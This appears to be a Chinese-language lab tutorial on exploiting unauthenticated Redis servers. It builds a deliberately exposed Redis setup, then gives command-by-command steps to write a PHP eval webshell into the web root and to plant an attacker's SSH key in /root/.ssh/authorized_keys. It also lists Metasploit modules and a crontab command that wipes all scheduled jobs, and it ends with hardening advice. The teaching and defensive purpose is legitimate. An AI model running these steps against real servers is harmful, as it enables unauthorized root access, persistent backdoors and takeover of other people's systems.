目标机器:129.168.186.4
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxvf redis-3.2.11.tar.gz
cd redis-3.2.11
cp redis.conf /etc/redis.conf
make
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
vim /etc/redis.conf
去掉 ip 绑定,允许除本地外的主机远程登录 redis 服务 前面加 #注释掉
关闭保护模式,允许远程连接 redis 服务将 yes 改为 no启动redis
启动服务
redis-server /etc/redis.conf
连接 Redis 服务器
redis-cli -h ipadd
MSF 下利用模块
auxiliary/scanner/redis/file_upload
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server
GetShell 原理:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,就可以写入一个路径为 a/b 的任意文件。
默认编写的 crontab 文件会保存在 (/var/spool/cron/ 用户名 例如: /var/spool/cron/root
crontab -l 列出某个用户 cron 服务的详细内容
crontab -r 删除每个用户 cront 任务 (谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的 crontab 文件
redis-cli -h ip
ip:6379> config set dir /var/www/html/
OK
ip:6379> config set dbfilename shell.php
OK
ip:6379> set x "<?php @eval($_POST['shell']);?>"
OK
ip:6379> save
OK
ssh-keygen -t rsa
# 将公钥写入一个文件,内容前后要加两个换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
# 将公钥放入目标服务器键`crackit`里面
cat key.txt | redis-cli -h 172.16.186.4 -x set crackit
ip:6379> config set dir /root/.ssh/
OK
ip:6379> config get dir
1) "dir"
2) "/root/.ssh"
ip:6379> config set dbfilename authorized_keys
OK
ip.4:6379> save
OK
# 使用私钥连接
➜ ssh -i id_rsa root@redis-ip
禁止 Redis 服务对公网开放,可通过修改 redis.conf
配置文件中的 #bind 127.0.0.1
,去掉前面的 #
即可(Redis 本来就是作为内存数据库,只要监听在本机即可)
**设置密码访问认证,可通过修改 redis.conf
配置文件中的 requirepass
设置复杂密码 **
重启 Redis 服务
对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器
保证 authorized_keys 文件的安全为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置~./ssh 的 immutable 位权限:
chattr +i ~/.ssh
以低权限运行 Redis 服务(重启 redis 才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆